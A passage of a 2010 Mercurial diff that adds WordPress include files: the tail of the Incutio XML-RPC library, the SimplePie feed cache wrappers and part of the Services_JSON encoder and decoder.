$this->callbacks['system.listMethods'] = 'this:listMethods'; + $this->callbacks['system.multicall'] = 'this:multiCall'; + } + function listMethods($args) { + // Returns a list of methods - uses array_reverse to ensure user defined + // methods are listed before server defined methods + return array_reverse(array_keys($this->callbacks)); + } + function multiCall($methodcalls) { + // See http://www.xmlrpc.com/discuss/msgReader$1208 + $return = array(); + foreach ($methodcalls as $call) { + $method = $call['methodName']; + $params = $call['params']; + if ($method == 'system.multicall') { + $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); + } else { + $result = $this->call($method, $params); + } + if (is_a($result, 'IXR_Error')) { + $return[] = array( + 'faultCode' => $result->code, + 'faultString' => $result->message + ); + } else { + $return[] = array($result); + } + } + return $return; + } +} + +/** + * IXR_Request + * + * @package IXR + * @since 1.5 + */ +class IXR_Request { + var $method; + var $args; + var $xml; + function IXR_Request($method, $args) { + $this->method = $method; + $this->args = $args; + $this->xml = << + +{$this->method} + + +EOD; + foreach ($this->args as $arg) { + $this->xml .= ''; + $v = new IXR_Value($arg); + $this->xml .= $v->getXml(); + $this->xml .= "\n"; + } + $this->xml .= ''; + } + function getLength() { + return strlen($this->xml); + } + function getXml() { + return $this->xml; + } +} + +/** + * IXR_Client + * + * @package IXR + * @since 1.5 + */ +class IXR_Client { + var $server; + var $port; + var $path; + var $useragent; + var $headers; + var $response; + var $message = false; + var $debug = false; + var $timeout; + // Storage place for an error message + var $error = false; + function IXR_Client($server, $path = false, $port = 80, $timeout = false) { + if (!$path) { + // Assume we have been given a URL instead + $bits = parse_url($server); + $this->server = $bits['host']; + $this->port = isset($bits['port']) ? $bits['port'] : 80; + $this->path = isset($bits['path']) ? $bits['path'] : '/'; + // Make absolutely sure we have a path + if (!$this->path) { + $this->path = '/'; + } + } else { + $this->server = $server; + $this->path = $path; + $this->port = $port; + } + $this->useragent = 'The Incutio XML-RPC PHP Library'; + $this->timeout = $timeout; + } + function query() { + $args = func_get_args(); + $method = array_shift($args); + $request = new IXR_Request($method, $args); + $length = $request->getLength(); + $xml = $request->getXml(); + $r = "\r\n"; + $request = "POST {$this->path} HTTP/1.0$r"; + + $this->headers['Host'] = $this->server; + $this->headers['Content-Type'] = 'text/xml'; + $this->headers['User-Agent'] = $this->useragent; + $this->headers['Content-Length']= $length; + + foreach( $this->headers as $header => $value ) { + $request .= "{$header}: {$value}{$r}"; + } + $request .= $r; + + $request .= $xml; + // Now send the request + if ($this->debug) { + echo '
    '.htmlspecialchars($request)."\n
    \n\n"; + } + if ($this->timeout) { + $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout); + } else { + $fp = @fsockopen($this->server, $this->port, $errno, $errstr); + } + if (!$fp) { + $this->error = new IXR_Error(-32300, "transport error - could not open socket: $errno $errstr"); + return false; + } + fputs($fp, $request); + $contents = ''; + $debug_contents = ''; + $gotFirstLine = false; + $gettingHeaders = true; + while (!feof($fp)) { + $line = fgets($fp, 4096); + if (!$gotFirstLine) { + // Check line for '200' + if (strstr($line, '200') === false) { + $this->error = new IXR_Error(-32301, 'transport error - HTTP status code was not 200'); + return false; + } + $gotFirstLine = true; + } + if (trim($line) == '') { + $gettingHeaders = false; + } + if (!$gettingHeaders) { + $contents .= trim($line); + } + if ($this->debug) { + $debug_contents .= $line; + } + } + if ($this->debug) { + echo '
    '.htmlspecialchars($debug_contents)."\n
    \n\n"; + } + // Now parse what we've got back + $this->message = new IXR_Message($contents); + if (!$this->message->parse()) { + // XML error + $this->error = new IXR_Error(-32700, 'parse error. not well formed'); + return false; + } + // Is the message a fault? + if ($this->message->messageType == 'fault') { + $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString); + return false; + } + // Message must be OK + return true; + } + function getResponse() { + // methodResponses can only have one param - return that + return $this->message->params[0]; + } + function isError() { + return (is_object($this->error)); + } + function getErrorCode() { + return $this->error->code; + } + function getErrorMessage() { + return $this->error->message; + } +} + +/** + * IXR_Error + * + * @package IXR + * @since 1.5 + */ +class IXR_Error { + var $code; + var $message; + function IXR_Error($code, $message) { + $this->code = $code; + // WP adds htmlspecialchars(). See #5666 + $this->message = htmlspecialchars($message); + } + function getXml() { + $xml = << + + + + + faultCode + {$this->code} + + + faultString + {$this->message} + + + + + + +EOD; + return $xml; + } +} + +/** + * IXR_Date + * + * @package IXR + * @since 1.5 + */ +class IXR_Date { + var $year; + var $month; + var $day; + var $hour; + var $minute; + var $second; + var $timezone; + function IXR_Date($time) { + // $time can be a PHP timestamp or an ISO one + if (is_numeric($time)) { + $this->parseTimestamp($time); + } else { + $this->parseIso($time); + } + } + function parseTimestamp($timestamp) { + $this->year = date('Y', $timestamp); + $this->month = date('m', $timestamp); + $this->day = date('d', $timestamp); + $this->hour = date('H', $timestamp); + $this->minute = date('i', $timestamp); + $this->second = date('s', $timestamp); + // WP adds timezone. See #2036 + $this->timezone = ''; + } + function parseIso($iso) { + $this->year = substr($iso, 0, 4); + $this->month = substr($iso, 4, 2); + $this->day = substr($iso, 6, 2); + $this->hour = substr($iso, 9, 2); + $this->minute = substr($iso, 12, 2); + $this->second = substr($iso, 15, 2); + // WP adds timezone. See #2036 + $this->timezone = substr($iso, 17); + } + function getIso() { + // WP adds timezone. See #2036 + return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone; + } + function getXml() { + return ''.$this->getIso().''; + } + function getTimestamp() { + return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year); + } +} + +/** + * IXR_Base64 + * + * @package IXR + * @since 1.5 + */ +class IXR_Base64 { + var $data; + function IXR_Base64($data) { + $this->data = $data; + } + function getXml() { + return ''.base64_encode($this->data).''; + } +} + +/** + * IXR_IntrospectionServer + * + * @package IXR + * @since 1.5 + */ +class IXR_IntrospectionServer extends IXR_Server { + var $signatures; + var $help; + function IXR_IntrospectionServer() { + $this->setCallbacks(); + $this->setCapabilities(); + $this->capabilities['introspection'] = array( + 'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html', + 'specVersion' => 1 + ); + $this->addCallback( + 'system.methodSignature', + 'this:methodSignature', + array('array', 'string'), + 'Returns an array describing the return type and required parameters of a method' + ); + $this->addCallback( + 'system.getCapabilities', + 'this:getCapabilities', + array('struct'), + 'Returns a struct describing the XML-RPC specifications supported by this server' + ); + $this->addCallback( + 'system.listMethods', + 'this:listMethods', + array('array'), + 'Returns an array of available methods on this server' + ); + $this->addCallback( + 'system.methodHelp', + 'this:methodHelp', + array('string', 'string'), + 'Returns a documentation string for the specified method' + ); + } + function addCallback($method, $callback, $args, $help) { + $this->callbacks[$method] = $callback; + $this->signatures[$method] = $args; + $this->help[$method] = $help; + } + function call($methodname, $args) { + // Make sure it's in an array + if ($args && !is_array($args)) { + $args = array($args); + } + // Over-rides default call method, adds signature check + if (!$this->hasMethod($methodname)) { + return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.'); + } + $method = $this->callbacks[$methodname]; + $signature = $this->signatures[$methodname]; + $returnType = array_shift($signature); + // Check the number of arguments + if (count($args) != count($signature)) { + return new IXR_Error(-32602, 'server error. wrong number of method parameters'); + } + // Check the argument types + $ok = true; + $argsbackup = $args; + for ($i = 0, $j = count($args); $i < $j; $i++) { + $arg = array_shift($args); + $type = array_shift($signature); + switch ($type) { + case 'int': + case 'i4': + if (is_array($arg) || !is_int($arg)) { + $ok = false; + } + break; + case 'base64': + case 'string': + if (!is_string($arg)) { + $ok = false; + } + break; + case 'boolean': + if ($arg !== false && $arg !== true) { + $ok = false; + } + break; + case 'float': + case 'double': + if (!is_float($arg)) { + $ok = false; + } + break; + case 'date': + case 'dateTime.iso8601': + if (!is_a($arg, 'IXR_Date')) { + $ok = false; + } + break; + } + if (!$ok) { + return new IXR_Error(-32602, 'server error. invalid method parameters'); + } + } + // It passed the test - run the "real" method call + return parent::call($methodname, $argsbackup); + } + function methodSignature($method) { + if (!$this->hasMethod($method)) { + return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.'); + } + // We should be returning an array of types + $types = $this->signatures[$method]; + $return = array(); + foreach ($types as $type) { + switch ($type) { + case 'string': + $return[] = 'string'; + break; + case 'int': + case 'i4': + $return[] = 42; + break; + case 'double': + $return[] = 3.1415; + break; + case 'dateTime.iso8601': + $return[] = new IXR_Date(time()); + break; + case 'boolean': + $return[] = true; + break; + case 'base64': + $return[] = new IXR_Base64('base64'); + break; + case 'array': + $return[] = array('array'); + break; + case 'struct': + $return[] = array('struct' => 'struct'); + break; + } + } + return $return; + } + function methodHelp($method) { + return $this->help[$method]; + } +} + +/** + * IXR_ClientMulticall + * + * @package IXR + * @since 1.5 + */ +class IXR_ClientMulticall extends IXR_Client { + var $calls = array(); + function IXR_ClientMulticall($server, $path = false, $port = 80) { + parent::IXR_Client($server, $path, $port); + $this->useragent = 'The Incutio XML-RPC PHP Library (multicall client)'; + } + function addCall() { + $args = func_get_args(); + $methodName = array_shift($args); + $struct = array( + 'methodName' => $methodName, + 'params' => $args + ); + $this->calls[] = $struct; + } + function query() { + // Prepare multicall, then call the parent::query() method + return parent::query('system.multicall', $this->calls); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-feed.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-feed.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,103 @@ +name = 'feed_' . $filename; + $this->mod_name = 'feed_mod_' . $filename; + $this->lifetime = apply_filters('wp_feed_cache_transient_lifetime', $this->lifetime, $filename); + } + + function save($data) { + if ( is_a($data, 'SimplePie') ) + $data = $data->data; + + set_transient($this->name, $data, $this->lifetime); + set_transient($this->mod_name, time(), $this->lifetime); + return true; + } + + function load() { + return get_transient($this->name); + } + + function mtime() { + return get_transient($this->mod_name); + } + + function touch() { + return set_transient($this->mod_name, time(), $this->lifetime); + } + + function unlink() { + delete_transient($this->name); + delete_transient($this->mod_name); + return true; + } +} + +class WP_SimplePie_File extends SimplePie_File { + + function WP_SimplePie_File($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false) { + $this->url = $url; + $this->timeout = $timeout; + $this->redirects = $redirects; + $this->headers = $headers; + $this->useragent = $useragent; + + $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE; + + if ( preg_match('/^http(s)?:\/\//i', $url) ) { + $args = array( 'timeout' => $this->timeout, 'redirection' => $this->redirects); + + if ( !empty($this->headers) ) + $args['headers'] = $this->headers; + + if ( SIMPLEPIE_USERAGENT != $this->useragent ) //Use default WP user agent unless custom has been specified + $args['user-agent'] = $this->useragent; + + $res = wp_remote_request($url, $args); + + if ( is_wp_error($res) ) { + $this->error = 'WP HTTP Error: ' . $res->get_error_message(); + $this->success = false; + } else { + $this->headers = $res['headers']; + $this->body = $res['body']; + $this->status_code = $res['response']['code']; + } + } else { + if ( ! $this->body = file_get_contents($url) ) { + $this->error = 'file_get_contents could not read the file'; + $this->success = false; + } + } + } +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-json.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-json.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,860 @@ + + * @author Matt Knapp + * @author Brett Stimmerman + * @copyright 2005 Michal Migurski + * @version CVS: $Id: JSON.php 288200 2009-09-09 15:41:29Z alan_k $ + * @license http://www.opensource.org/licenses/bsd-license.php + * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 + */ + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_SLICE', 1); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_STR', 2); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_ARR', 3); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_OBJ', 4); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_CMT', 5); + +/** + * Behavior switch for Services_JSON::decode() + */ +define('SERVICES_JSON_LOOSE_TYPE', 16); + +/** + * Behavior switch for Services_JSON::decode() + */ +define('SERVICES_JSON_SUPPRESS_ERRORS', 32); + +/** + * Converts to and from JSON format. + * + * Brief example of use: + * + * + * // create a new instance of Services_JSON + * $json = new Services_JSON(); + * + * // convert a complexe value to JSON notation, and send it to the browser + * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); + * $output = $json->encode($value); + * + * print($output); + * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] + * + * // accept incoming POST data, assumed to be in JSON notation + * $input = file_get_contents('php://input', 1000000); + * $value = $json->decode($input); + * + */ +class Services_JSON +{ + /** + * constructs a new JSON instance + * + * @param int $use object behavior flags; combine with boolean-OR + * + * possible values: + * - SERVICES_JSON_LOOSE_TYPE: loose typing. + * "{...}" syntax creates associative arrays + * instead of objects in decode(). + * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. + * Values which can't be encoded (e.g. resources) + * appear as NULL instead of throwing errors. + * By default, a deeply-nested resource will + * bubble up with an error, so all return values + * from encode() should be checked with isError() + */ + function Services_JSON($use = 0) + { + $this->use = $use; + } + + /** + * convert a string from one UTF-16 char to one UTF-8 char + * + * Normally should be handled by mb_convert_encoding, but + * provides a slower PHP-only method for installations + * that lack the multibye string extension. + * + * @param string $utf16 UTF-16 character + * @return string UTF-8 character + * @access private + */ + function utf162utf8($utf16) + { + // oh please oh please oh please oh please oh please + if(function_exists('mb_convert_encoding')) { + return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); + } + + $bytes = (ord($utf16{0}) << 8) | ord($utf16{1}); + + switch(true) { + case ((0x7F & $bytes) == $bytes): + // this case should never be reached, because we are in ASCII range + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0x7F & $bytes); + + case (0x07FF & $bytes) == $bytes: + // return a 2-byte UTF-8 character + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0xC0 | (($bytes >> 6) & 0x1F)) + . chr(0x80 | ($bytes & 0x3F)); + + case (0xFFFF & $bytes) == $bytes: + // return a 3-byte UTF-8 character + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0xE0 | (($bytes >> 12) & 0x0F)) + . chr(0x80 | (($bytes >> 6) & 0x3F)) + . chr(0x80 | ($bytes & 0x3F)); + } + + // ignoring UTF-32 for now, sorry + return ''; + } + + /** + * convert a string from one UTF-8 char to one UTF-16 char + * + * Normally should be handled by mb_convert_encoding, but + * provides a slower PHP-only method for installations + * that lack the multibye string extension. + * + * @param string $utf8 UTF-8 character + * @return string UTF-16 character + * @access private + */ + function utf82utf16($utf8) + { + // oh please oh please oh please oh please oh please + if(function_exists('mb_convert_encoding')) { + return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); + } + + switch(strlen($utf8)) { + case 1: + // this case should never be reached, because we are in ASCII range + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return $utf8; + + case 2: + // return a UTF-16 character from a 2-byte UTF-8 char + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0x07 & (ord($utf8{0}) >> 2)) + . chr((0xC0 & (ord($utf8{0}) << 6)) + | (0x3F & ord($utf8{1}))); + + case 3: + // return a UTF-16 character from a 3-byte UTF-8 char + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr((0xF0 & (ord($utf8{0}) << 4)) + | (0x0F & (ord($utf8{1}) >> 2))) + . chr((0xC0 & (ord($utf8{1}) << 6)) + | (0x7F & ord($utf8{2}))); + } + + // ignoring UTF-32 for now, sorry + return ''; + } + + /** + * encodes an arbitrary variable into JSON format (and sends JSON Header) + * + * @param mixed $var any number, boolean, string, array, or object to be encoded. + * see argument 1 to Services_JSON() above for array-parsing behavior. + * if var is a strng, note that encode() always expects it + * to be in ASCII or UTF-8 format! + * + * @return mixed JSON string representation of input var or an error if a problem occurs + * @access public + */ + function encode($var) + { + header('Content-type: application/json'); + return $this->_encode($var); + } + /** + * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow CSS!!!!) + * + * @param mixed $var any number, boolean, string, array, or object to be encoded. + * see argument 1 to Services_JSON() above for array-parsing behavior. + * if var is a strng, note that encode() always expects it + * to be in ASCII or UTF-8 format! + * + * @return mixed JSON string representation of input var or an error if a problem occurs + * @access public + */ + function encodeUnsafe($var) + { + return $this->_encode($var); + } + /** + * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format + * + * @param mixed $var any number, boolean, string, array, or object to be encoded. + * see argument 1 to Services_JSON() above for array-parsing behavior. + * if var is a strng, note that encode() always expects it + * to be in ASCII or UTF-8 format! + * + * @return mixed JSON string representation of input var or an error if a problem occurs + * @access public + */ + function _encode($var) + { + + switch (gettype($var)) { + case 'boolean': + return $var ? 'true' : 'false'; + + case 'NULL': + return 'null'; + + case 'integer': + return (int) $var; + + case 'double': + case 'float': + return (float) $var; + + case 'string': + // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT + $ascii = ''; + $strlen_var = strlen($var); + + /* + * Iterate over every character in the string, + * escaping with a slash or encoding to UTF-8 where necessary + */ + for ($c = 0; $c < $strlen_var; ++$c) { + + $ord_var_c = ord($var{$c}); + + switch (true) { + case $ord_var_c == 0x08: + $ascii .= '\b'; + break; + case $ord_var_c == 0x09: + $ascii .= '\t'; + break; + case $ord_var_c == 0x0A: + $ascii .= '\n'; + break; + case $ord_var_c == 0x0C: + $ascii .= '\f'; + break; + case $ord_var_c == 0x0D: + $ascii .= '\r'; + break; + + case $ord_var_c == 0x22: + case $ord_var_c == 0x2F: + case $ord_var_c == 0x5C: + // double quote, slash, slosh + $ascii .= '\\'.$var{$c}; + break; + + case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): + // characters U-00000000 - U-0000007F (same as ASCII) + $ascii .= $var{$c}; + break; + + case (($ord_var_c & 0xE0) == 0xC0): + // characters U-00000080 - U-000007FF, mask 110XXXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + if ($c+1 >= $strlen_var) { + $c += 1; + $ascii .= '?'; + break; + } + + $char = pack('C*', $ord_var_c, ord($var{$c + 1})); + $c += 1; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF0) == 0xE0): + if ($c+2 >= $strlen_var) { + $c += 2; + $ascii .= '?'; + break; + } + // characters U-00000800 - U-0000FFFF, mask 1110XXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + @ord($var{$c + 1}), + @ord($var{$c + 2})); + $c += 2; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF8) == 0xF0): + if ($c+3 >= $strlen_var) { + $c += 3; + $ascii .= '?'; + break; + } + // characters U-00010000 - U-001FFFFF, mask 11110XXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3})); + $c += 3; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFC) == 0xF8): + // characters U-00200000 - U-03FFFFFF, mask 111110XX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + if ($c+4 >= $strlen_var) { + $c += 4; + $ascii .= '?'; + break; + } + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4})); + $c += 4; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFE) == 0xFC): + if ($c+5 >= $strlen_var) { + $c += 5; + $ascii .= '?'; + break; + } + // characters U-04000000 - U-7FFFFFFF, mask 1111110X + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4}), + ord($var{$c + 5})); + $c += 5; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + } + } + return '"'.$ascii.'"'; + + case 'array': + /* + * As per JSON spec if any array key is not an integer + * we must treat the the whole array as an object. We + * also try to catch a sparsely populated associative + * array with numeric keys here because some JS engines + * will create an array with empty indexes up to + * max_index which can cause memory issues and because + * the keys, which may be relevant, will be remapped + * otherwise. + * + * As per the ECMA and JSON specification an object may + * have any string as a property. Unfortunately due to + * a hole in the ECMA specification if the key is a + * ECMA reserved word or starts with a digit the + * parameter is only accessible using ECMAScript's + * bracket notation. + */ + + // treat as a JSON object + if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { + $properties = array_map(array($this, 'name_value'), + array_keys($var), + array_values($var)); + + foreach($properties as $property) { + if(Services_JSON::isError($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + } + + // treat it like a regular array + $elements = array_map(array($this, '_encode'), $var); + + foreach($elements as $element) { + if(Services_JSON::isError($element)) { + return $element; + } + } + + return '[' . join(',', $elements) . ']'; + + case 'object': + $vars = get_object_vars($var); + + $properties = array_map(array($this, 'name_value'), + array_keys($vars), + array_values($vars)); + + foreach($properties as $property) { + if(Services_JSON::isError($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + + default: + return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) + ? 'null' + : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); + } + } + + /** + * array-walking function for use in generating JSON-formatted name-value pairs + * + * @param string $name name of key to use + * @param mixed $value reference to an array element to be encoded + * + * @return string JSON-formatted name-value pair, like '"name":value' + * @access private + */ + function name_value($name, $value) + { + $encoded_value = $this->_encode($value); + + if(Services_JSON::isError($encoded_value)) { + return $encoded_value; + } + + return $this->_encode(strval($name)) . ':' . $encoded_value; + } + + /** + * reduce a string by removing leading and trailing comments and whitespace + * + * @param $str string string value to strip of comments and whitespace + * + * @return string string value stripped of comments and whitespace + * @access private + */ + function reduce_string($str) + { + $str = preg_replace(array( + + // eliminate single line comments in '// ...' form + '#^\s*//(.+)$#m', + + // eliminate multi-line comments in '/* ... */' form, at start of string + '#^\s*/\*(.+)\*/#Us', + + // eliminate multi-line comments in '/* ... */' form, at end of string + '#/\*(.+)\*/\s*$#Us' + + ), '', $str); + + // eliminate extraneous space + return trim($str); + } + + /** + * decodes a JSON string into appropriate variable + * + * @param string $str JSON-formatted string + * + * @return mixed number, boolean, string, array, or object + * corresponding to given JSON input string. + * See argument 1 to Services_JSON() above for object-output behavior. + * Note that decode() always returns strings + * in ASCII or UTF-8 format! + * @access public + */ + function decode($str) + { + $str = $this->reduce_string($str); + + switch (strtolower($str)) { + case 'true': + return true; + + case 'false': + return false; + + case 'null': + return null; + + default: + $m = array(); + + if (is_numeric($str)) { + // Lookie-loo, it's a number + + // This would work on its own, but I'm trying to be + // good about returning integers where appropriate: + // return (float)$str; + + // Return float or int, as appropriate + return ((float)$str == (integer)$str) + ? (integer)$str + : (float)$str; + + } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { + // STRINGS RETURNED IN UTF-8 FORMAT + $delim = substr($str, 0, 1); + $chrs = substr($str, 1, -1); + $utf8 = ''; + $strlen_chrs = strlen($chrs); + + for ($c = 0; $c < $strlen_chrs; ++$c) { + + $substr_chrs_c_2 = substr($chrs, $c, 2); + $ord_chrs_c = ord($chrs{$c}); + + switch (true) { + case $substr_chrs_c_2 == '\b': + $utf8 .= chr(0x08); + ++$c; + break; + case $substr_chrs_c_2 == '\t': + $utf8 .= chr(0x09); + ++$c; + break; + case $substr_chrs_c_2 == '\n': + $utf8 .= chr(0x0A); + ++$c; + break; + case $substr_chrs_c_2 == '\f': + $utf8 .= chr(0x0C); + ++$c; + break; + case $substr_chrs_c_2 == '\r': + $utf8 .= chr(0x0D); + ++$c; + break; + + case $substr_chrs_c_2 == '\\"': + case $substr_chrs_c_2 == '\\\'': + case $substr_chrs_c_2 == '\\\\': + case $substr_chrs_c_2 == '\\/': + if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || + ($delim == "'" && $substr_chrs_c_2 != '\\"')) { + $utf8 .= $chrs{++$c}; + } + break; + + case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)): + // single, escaped unicode character + $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2))) + . chr(hexdec(substr($chrs, ($c + 4), 2))); + $utf8 .= $this->utf162utf8($utf16); + $c += 5; + break; + + case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): + $utf8 .= $chrs{$c}; + break; + + case ($ord_chrs_c & 0xE0) == 0xC0: + // characters U-00000080 - U-000007FF, mask 110XXXXX + //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 2); + ++$c; + break; + + case ($ord_chrs_c & 0xF0) == 0xE0: + // characters U-00000800 - U-0000FFFF, mask 1110XXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 3); + $c += 2; + break; + + case ($ord_chrs_c & 0xF8) == 0xF0: + // characters U-00010000 - U-001FFFFF, mask 11110XXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 4); + $c += 3; + break; + + case ($ord_chrs_c & 0xFC) == 0xF8: + // characters U-00200000 - U-03FFFFFF, mask 111110XX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 5); + $c += 4; + break; + + case ($ord_chrs_c & 0xFE) == 0xFC: + // characters U-04000000 - U-7FFFFFFF, mask 1111110X + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 6); + $c += 5; + break; + + } + + } + + return $utf8; + + } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { + // array, or object notation + + if ($str{0} == '[') { + $stk = array(SERVICES_JSON_IN_ARR); + $arr = array(); + } else { + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $stk = array(SERVICES_JSON_IN_OBJ); + $obj = array(); + } else { + $stk = array(SERVICES_JSON_IN_OBJ); + $obj = new stdClass(); + } + } + + array_push($stk, array('what' => SERVICES_JSON_SLICE, + 'where' => 0, + 'delim' => false)); + + $chrs = substr($str, 1, -1); + $chrs = $this->reduce_string($chrs); + + if ($chrs == '') { + if (reset($stk) == SERVICES_JSON_IN_ARR) { + return $arr; + + } else { + return $obj; + + } + } + + //print("\nparsing {$chrs}\n"); + + $strlen_chrs = strlen($chrs); + + for ($c = 0; $c <= $strlen_chrs; ++$c) { + + $top = end($stk); + $substr_chrs_c_2 = substr($chrs, $c, 2); + + if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { + // found a comma that is not inside a string, array, etc., + // OR we've reached the end of the character list + $slice = substr($chrs, $top['where'], ($c - $top['where'])); + array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); + //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + if (reset($stk) == SERVICES_JSON_IN_ARR) { + // we are in an array, so just push an element onto the stack + array_push($arr, $this->decode($slice)); + + } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { + // we are in an object, so figure + // out the property name and set an + // element in an associative array, + // for now + $parts = array(); + + if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + // "name":value pair + $key = $this->decode($parts[1]); + $val = $this->decode($parts[2]); + + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $obj[$key] = $val; + } else { + $obj->$key = $val; + } + } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + // name:value pair, where name is unquoted + $key = $parts[1]; + $val = $this->decode($parts[2]); + + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $obj[$key] = $val; + } else { + $obj->$key = $val; + } + } + + } + + } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { + // found a quote, and we are not inside a string + array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c})); + //print("Found start of string at {$c}\n"); + + } elseif (($chrs{$c} == $top['delim']) && + ($top['what'] == SERVICES_JSON_IN_STR) && + ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) { + // found a quote, we're in a string, and it's not escaped + // we know that it's not escaped becase there is _not_ an + // odd number of backslashes at the end of the string so far + array_pop($stk); + //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); + + } elseif (($chrs{$c} == '[') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a left-bracket, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); + //print("Found start of array at {$c}\n"); + + } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { + // found a right-bracket, and we're in an array + array_pop($stk); 